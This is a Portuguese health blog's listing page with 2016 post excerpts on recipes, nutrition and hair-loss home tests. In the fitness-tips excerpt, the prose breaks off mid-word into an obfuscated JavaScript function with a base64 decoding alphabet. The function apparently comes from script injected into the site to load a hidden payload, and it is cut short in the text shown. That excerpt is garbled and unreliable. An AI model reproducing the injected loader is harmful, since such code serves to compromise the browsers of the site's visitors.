Nov 26, 2016 | Dicas úteis, Equilíbrio, Faça você mesmo, Receitas, Saúde e bem estar
Duas sobremesas doces para todos Bolachas de Amêndoa e Mirtilos Ingredientes para 25 bolachas: 200 g flocos de aveia 200 g amêndoa 2 c. sopa mel 1 c. chá fermento em pó 1 ovo batido 3 c. sopa óleo vegetal 2 c. chá essência baunilha q.b. mirtilos 4 nozes Preparação:...
Nov 24, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Dicas de nutrição – 5 peixes saudáveis e seguros Os peixes são alimentos saudáveis, é verdade, mas… uns mais do que outros. Para comer peixe com maior segurança, escolha as espécies mais pequenas e, de preferência, capturadas no ambiente natural em vez de...
Nov 22, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Zen Energy
Estar em boa forma todo o ano – 8 dicas O verão é sinónimo de praia, sol, amigos, família e, claro, grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Nov 21, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – 8 benefícios da cenoura Melhorar a visão e prolongar o bronzeado são apenas alguns dos benefícios que pode obter se consumir regularmente cenoura. Este vegetal maravilhoso pode ser comido cru, cozido, em sumos, ao pequeno-almoço, ao almoço, ao lanche...
Nov 15, 2016 | À descoberta, Dicas úteis, Equilíbrio, Estilo e beleza
3 testes caseiros para saber se está a perder cabelo em excesso A queda de cabelo é diagnosticada em clínica. Mas pode sempre tirar as suas primeiras conclusões em casa. A médica tricologista Fátima Garcês partilha alguns testes caseiros para saber se está a perder...
Nov 11, 2016 | À descoberta, Receitas
3 receitas saudáveis com castanhas Panquecas de castanha Ingredientes: 1 banana 1 ovo azeite virgem q.b. 1 colher de sopa de farinha de castanha 1 pitada de canela Modo de preparação: Com a varinha mágica triture 1 banana, 1 ovo, 1 colher de sopa de farinha de...
Nov 7, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: 6 benefícios do millet Já ouviu falar do millet? É uma espécie de grão, da família do milho, muito utilizado na dieta macrobiótica e um dos mais antigos cereais cultivados. De facto, há registo do seu cultivo há mais de 10.000 anos atrás! Costumamos...
Nov 2, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: descubra os benefícios dos cogumelos Qual é o seu ingrediente favorito para saltear? Eu sou fã de cogumelos! Ficam deliciosos salteados e polvilhados com um pouquinho de queijo ralado! Hmmm… verdade? Gosto de todos, os portobello, os shiitake, os...
Out 27, 2016 | Equilíbrio, Saúde e bem estar
7 boas razões para comer castanhas Chegou o tempo das primeiras chuvas, do vento mais fresco, das folhas caídas… e chegou também o tempo de comermos as deliciosas castanhas tão próprias desta altura do ano! A boa notícia é que podemos comê-las sem culpa, porque elas...
Out 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas de nutrição: 17 alternativas saudáveis à carne Ao tentarmos reduzir o consumo de carne, torna-se fundamental encontrar outras fontes de proteína. Se formos vegetarianos, podemos optar até por consumir apenas proteína vegetal. Ao conjugar vários alimentos...
